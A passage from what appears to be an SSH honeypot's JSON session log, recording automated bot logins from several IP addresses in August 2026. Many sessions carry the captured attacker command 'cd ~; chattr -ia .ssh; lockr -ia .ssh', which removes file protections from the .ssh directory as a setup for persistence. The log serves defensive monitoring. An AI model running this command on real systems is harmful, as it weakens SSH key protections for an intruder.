  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:46:55.311183+00:00",
  "ended_at": "2026-08-26T13:46:56.925106+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2069
 },
 {
  "id": "1c4d0134-751b-4c17-94c1-b8ca049790d7",
  "name": "boreal-arctic-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40605,
  "username": "sftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:46:33.352527+00:00",
  "ended_at": "2026-08-26T13:46:35.264851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1bf290d2-4991-472f-affc-b832b092c114",
  "name": "dutiful-cobalt-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40604,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:46:30.324607+00:00",
  "ended_at": "2026-08-26T13:46:31.857455+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cb7413ea-8ef5-458d-9ae3-1db2b223d063",
  "name": "early-blunt-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 54674,
  "username": "acer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:45:52.160935+00:00",
  "ended_at": "2026-08-26T13:45:53.165272+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2076
 },
 {
  "id": "3779d44f-2585-4132-895f-a61258f73d2c",
  "name": "muted-amber-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54694,
  "username": "acer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:45:38.451660+00:00",
  "ended_at": "2026-08-26T13:45:40.021744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac70d5cf-0c07-425d-ad91-b202aef11d52",
  "name": "alpine-amiable-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54690,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:45:36.554109+00:00",
  "ended_at": "2026-08-26T13:45:37.871635+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7174fda1-315e-4d85-be7e-621af5c57b3e",
  "name": "autumn-craggy-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51900,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 925,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:44:17.298460+00:00",
  "ended_at": "2026-08-26T13:44:18.623063+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "439322a1-5c09-4c0e-ab8a-e2b8ec532e3c",
  "name": "golden-proud-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51920,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:49.103754+00:00",
  "ended_at": "2026-08-26T13:43:50.445943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "76a17a04-81fc-46e0-842e-f42baf2ed11f",
  "name": "opal-quaint-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40600,
  "username": "gpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:43:47.076076+00:00",
  "ended_at": "2026-08-26T13:43:48.360001+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2067
 },
 {
  "id": "529c48de-0a95-48d8-b2c8-12c187c0104a",
  "name": "dewy-pristine-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51908,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:45.441750+00:00",
  "ended_at": "2026-08-26T13:43:47.326053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42543b63-fc4b-40b7-9a13-ec41d327ec93",
  "name": "fickle-rugged-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 59310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:43:44.740814+00:00",
  "ended_at": "2026-08-26T13:43:46.271835+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "83fa7bc5-5eaa-4c2b-a58f-e06fa28ddcd0",
  "name": "early-rapid-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 59320,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:28.974452+00:00",
  "ended_at": "2026-08-26T13:43:30.495706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c2410df0-f5e5-473b-9be3-aa727d1586ac",
  "name": "flinty-murky-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40602,
  "username": "gpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:28.682930+00:00",
  "ended_at": "2026-08-26T13:43:30.391264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c921a4f5-a690-4083-8ecf-871ab1dd46d4",
  "name": "downy-frosty-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 59312,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:26.441242+00:00",
  "ended_at": "2026-08-26T13:43:28.369230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f36849e9-a629-4dab-93ab-02b440dd91d8",
  "name": "primal-gallant-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40601,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:26.020808+00:00",
  "ended_at": "2026-08-26T13:43:27.193046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "163daaed-ce86-40b1-adca-4df6ae065541",
  "name": "indigo-wiry-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62784,
  "username": "postgres",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:41:43.909269+00:00",
  "ended_at": "2026-08-26T13:41:44.902723+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2086
 },
 {
  "id": "4b482c66-c258-442a-b102-f3d4fcc1546c",
  "name": "ivory-wandering-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62804,
  "username": "postgres",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:41:32.593505+00:00",
  "ended_at": "2026-08-26T13:41:34.519428+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2b3e66f-8ea4-45a7-b4b8-83efb71a92ad",
  "name": "solemn-hardy-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:41:30.652525+00:00",
  "ended_at": "2026-08-26T13:41:32.017074+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cb3ba518-0c4e-4f70-9050-d020bad8cb20",
  "name": "russet-weathered-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40597,
  "username": "kim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:41:02.716304+00:00",
  "ended_at": "2026-08-26T13:41:03.522586+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2048
 },
 {
  "id": "858a0932-be08-43d0-afe3-adec50fe91cb",
  "name": "loyal-lucid-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51696,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 934,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:41:01.736509+00:00",
  "ended_at": "2026-08-26T13:41:03.499969+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "253e058f-ec5c-4ec8-b0ea-f97426ae293d",
  "name": "quaint-mindful-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40599,
  "username": "kim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:47.690117+00:00",
  "ended_at": "2026-08-26T13:40:49.299067+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b4382adc-63aa-42ab-ab49-9bafb30605ef",
  "name": "indigo-quartz-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40598,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:45.356544+00:00",
  "ended_at": "2026-08-26T13:40:46.200741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc5f5d03-7a4d-422b-b5d1-5c2ec841e4ff",
  "name": "quaint-dusty-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51712,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:30.914460+00:00",
  "ended_at": "2026-08-26T13:40:32.949886+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "601eaa1d-9130-4916-af4e-f2be796a10f6",
  "name": "tender-whispering-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51704,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:27.320840+00:00",
  "ended_at": "2026-08-26T13:40:28.599606+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4d6094e-7276-43a2-845a-328c4555f3bf",
  "name": "vigilant-amiable-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56164,
  "username": "pixel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:39:44.534056+00:00",
  "ended_at": "2026-08-26T13:39:45.132972+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2052
 },
 {
  "id": "02f33255-4654-4a6c-bbb3-bb4b12a9245c",
  "name": "fabled-snowy-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56168,
  "username": "pixel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:39:37.212549+00:00",
  "ended_at": "2026-08-26T13:39:38.690383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ffe3a76-bb30-4805-a89b-c930ec566f04",
  "name": "fearless-whispering-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56166,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:39:35.736109+00:00",
  "ended_at": "2026-08-26T13:39:36.615940+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18540208-2653-4b61-9092-7a1ce0734aea",
  "name": "valiant-frugal-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.55.45.217",
  "src_port": 54538,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 66,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:38:24.493888+00:00",
  "ended_at": "2026-08-26T13:38:25.078452+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "dc4b9a5e-d001-43a0-b5d6-d2fc79466520",
  "name": "ruddy-marbled-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.55.45.217",
  "src_port": 54560,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:38:20.486104+00:00",
  "ended_at": "2026-08-26T13:38:21.891181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "168b98a0-8033-4eac-b30f-5b9e21239d9e",
  "name": "oaken-dewy-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.55.45.217",
  "src_port": 54552,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:38:19.757762+00:00",
  "ended_at": "2026-08-26T13:38:20.348399+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ab027d5-570c-44cc-ba48-b115e3f0a633",
  "name": "gloomy-early-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40594,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:38:07.941746+00:00",
  "ended_at": "2026-08-26T13:38:08.705878+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "2e6ab4f2-5c43-44b7-8a43-6a8a45489a82",
  "name": "blazing-sunlit-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40596,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:52.620123+00:00",
  "ended_at": "2026-08-26T13:37:54.409641+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8573fcf8-0b76-45e8-a740-03fb3b67dfee",
  "name": "jaunty-gnarled-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40595,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:49.161259+00:00",
  "ended_at": "2026-08-26T13:37:51.122876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09b9f7e9-442c-4620-b82d-79ed426f8809",
  "name": "whispering-mighty-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51506,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 930,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:37:48.623116+00:00",
  "ended_at": "2026-08-26T13:37:50.244066+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "2a30883d-7b95-49f9-91bd-66ddac1924e6",
  "name": "fierce-valiant-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52088,
  "username": "ajay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:37:42.190540+00:00",
  "ended_at": "2026-08-26T13:37:42.793002+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "a18a4021-a7d7-4abf-ad17-d3c33a1c8106",
  "name": "twilight-opal-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54272,
  "username": "ajay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:34.938838+00:00",
  "ended_at": "2026-08-26T13:37:35.960526+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ffbef61-95cd-4b7a-953e-73827c05216e",
  "name": "sleepy-cunning-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54260,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:33.261218+00:00",
  "ended_at": "2026-08-26T13:37:34.353546+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7aaac6ab-33d7-4341-832a-49fbf0c065e1",
  "name": "earnest-painted-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51522,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:21.643483+00:00",
  "ended_at": "2026-08-26T13:37:23.107611+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15374453-8367-41a1-8287-1adba5e6323e",
  "name": "drifting-dusty-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51514,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:17.851921+00:00",
  "ended_at": "2026-08-26T13:37:19.852080+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e266807-f308-4837-8727-adf13b3a0c6f",
  "name": "faded-salty-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51298,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 891,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:34:51.196430+00:00",
  "ended_at": "2026-08-26T13:34:52.702663+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "da92bc9e-150f-4b5a-ad69-f938ec97f30e",
  "name": "crimson-prairie-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51316,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:34:25.413938+00:00",
  "ended_at": "2026-08-26T13:34:27.115546+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "703c63a9-4af3-4cb2-a933-5757f3935831",
  "name": "fierce-silent-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51308,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:34:21.602796+00:00",
  "ended_at": "2026-08-26T13:34:23.619849+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "227a157c-0e69-4850-9f8c-7bed3685cbb8",
  "name": "quiet-orderly-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52056,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:34:05.815230+00:00",
  "ended_at": "2026-08-26T13:34:06.918161+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b4b90a5-935e-43c9-a379-8786a933038b",
  "name": "rapid-graceful-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.173.43.34",
  "src_port": 10000,
  "username": "cmsadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1316,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:32:59.279844+00:00",
  "ended_at": "2026-08-26T13:33:00.364442+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2078
 },
 {
  "id": "dad61d67-132c-4dd7-94a6-fa7dfb460dee",
  "name": "lucid-prairie-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.173.43.34",
  "src_port": 10002,
  "username": "cmsadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:32:34.718666+00:00",
  "ended_at": "2026-08-26T13:32:36.843761+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8db8f78e-df54-4c15-b16a-cd00472bb468",
  "name": "flinty-ivory-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.173.43.34",
  "src_port": 10001,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:32:31.727081+00:00",
  "ended_at": "2026-08-26T13:32:33.095261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3248d717-3fd0-465f-8193-0b9b2257996f",
  "name": "ruddy-blunt-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.233.213.67",
  "src_port": 38870,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 726,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:31:50.657780+00:00",
  "ended_at": "2026-08-26T13:31:51.456511+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2040
 },
 {
  "id": "6e449071-5714-41e6-897b-6909492a920f",
  "name": "wiry-mottled-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51100,
  "username": "valentina",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1200,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:31:42.417745+00:00",
  "ended_at": "2026-08-26T13:31:44.025795+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "1e810555-52f1-4c20-b63a-1ea7b8d47573",
  "name": "emerald-pristine-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.233.213.67",
  "src_port": 41408,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:24.786340+00:00",
  "ended_at": "2026-08-26T13:31:25.695369+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bfa4ae3-8567-4d7f-a8f9-e9778e9a0829",
  "name": "gnarled-graceful-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.233.213.67",
  "src_port": 38876,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
